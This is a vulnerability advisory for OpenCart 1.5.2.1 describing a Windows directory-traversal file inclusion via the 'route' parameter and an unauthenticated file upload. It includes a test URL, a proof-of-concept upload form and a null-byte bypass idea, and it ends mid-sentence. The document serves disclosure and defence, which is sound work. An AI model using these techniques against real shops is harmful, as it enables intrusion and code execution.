Author: Janek Vind "waraxe"
Date: 06. April 2012
Location: Estonia, Tartu
Web:
http://www.waraxe.us/advisory-84.html Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
OpenCart is a turn-key ready "out of the box" shopping cart solution.
You simply install, select your template, add products and your ready to start
accepting orders.
http://www.opencart.com/ Vulnerable versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected is OpenCart version 1.5.2.1, older versions may be vulnerable as well.
###############################################################################
1. Local File Inclusion in "action.php"
###############################################################################
Reason: using unsanitized user submitted data for file operations
Attack vector: user submitted GET parameter "route"
Preconditions:
1. Windows platform
2. PHP version must be < 5.3.4 for null-byte attacks to work
Result: remote file disclosure, php remote code execution
Source code snippet from script "index.php":
-----------------[ source code start ]---------------------------------
// Router
if (isset($request->get['route'])) {
$action = new Action($request->get['route']);
-----------------[ source code end ]-----------------------------------
We can see, that user submitted parameter "route" is used as argument
for class "Action" initialization.
Source code snippet from vulnerable script "action.php":
-----------------[ source code start ]---------------------------------
final class Action {
protected $file;
...
public function __construct($route, $args = array()) {
$path = '';
$parts = explode('/', str_replace('../', '', (string)$route));
foreach ($parts as $part) {
$path .= $part;
if (is_dir(DIR_APPLICATION . 'controller/' . $path)) {
$path .= '/';
array_shift($parts);
continue;
}
if (is_file(DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php')) {
$this->file = DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php';
-----------------[ source code end ]-----------------------------------
As seen above, user submitted parameter "route" is sanitized twice against
potrential directory traversal components ("../") and then used as source for
class member "file".
Finally it comes to this:
-----------------[ source code start ]---------------------------------
private function execute($action) {
$file = $action->getFile();
...
if (file_exists($file)) {
require_once($file);
-----------------[ source code end ]-----------------------------------
As we can see, previously constructed file path is used as argument for
php function "require_once()". Sanitization against "../" works well in
most cases, but in case of underlying Windows operating system attacker
can use backslashes and bypass such filtering with use of "..\".
Test (on Windows platform):
http://localhost/opencart1521/index.php?route=..\..\admin\index Result:
Fatal error: Cannot redeclare error_handler() (previously declared in
C:\apache_www\opencart1521\index.php:78) in
C:\apache_www\opencart1521\admin\index.php on line 87
Error message above indicates, that directory traversal was successful
and php script "admin/index.php" was included as expected.
###############################################################################
2. Arbitrary File Upload in "product.php"
###############################################################################
Reason: insufficient authorization and input data validation
Attack vector: user submitted file upload via POST request
Preconditions:
1. PHP version must be < 5.3.4 for null-byte attacks to work
Result: remote code execution
It appears, that OpenCart allows file upload functionality to anyone.
No authentication or authorization at all.
Test: for testing let's use html form below:
-----------------[ PoC code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/opencart1521/index.php?route=product/product/upload"
method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload test">
</form>
</center></body></html>
-----------------[ PoC code end ]-----------------------------------
Result:
{"file":"pJhdgHSudwNdiwdjMLpwdsKSJWSocdwcwoSOJOdwdduwjSSIisdsdiSWswd==",
"success":"Your file was successfully uploaded!"}
There are some mitigating factors though:
1. files are uploaded to "download" directory, but filenames are
random. As we can see above, server response contains filename on JSON
format, but it's encrypted. Random filename example:
waraxe.jpg.620d348d4551ea2870e4cb602881a1d8
2. upload script allows through only files with specific extensions - images
and text files. If we try to upload file "test.php", then server responds as:
{"error":"Invalid file type!"}
Source code snippet from script "product.php":
-----------------[ source code start ]---------------------------------
public function upload() {
...
if (!empty($this->request->files['file']['name'])) {
$filename = basename(html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8'));
...
$allowed = array();
$filetypes = explode(',', $this->config->get('config_upload_allowed'));
foreach ($filetypes as $filetype) {
$allowed[] = trim($filetype);
}
if (!in_array(substr(strrchr($filename, '.'), 1), $allowed)) {
$json['error'] = $this->language->get('error_filetype');
}
...
if (!$json) {
if (is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) {
$file = basename($filename) . '.' . md5(rand());
// Hide the uploaded file name so people can not link to it directly.
$json['file'] = $this->encryption->encrypt($file);
move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file);
-----------------[ source code end ]-----------------------------------
As we can see, uploaded file extension is checked against allowed
values, which prohibits from direct upload of php files and other interesting
content. Attacker can upload images with php code inside, but it is useful only
with additional LFI vulnerabilities.
So question is, can we bypass file extension checks? How about null bytes?
Little testing with php shows, that original filename, coming from $_FILES array,
cannot contain null bytes. OK, that's understandable, php engine tries to be secure.
But wait a minute ... how about "html_entity_decode" function, which is used
against original filename, coming from $_FILES array?
Quick test shows, that using "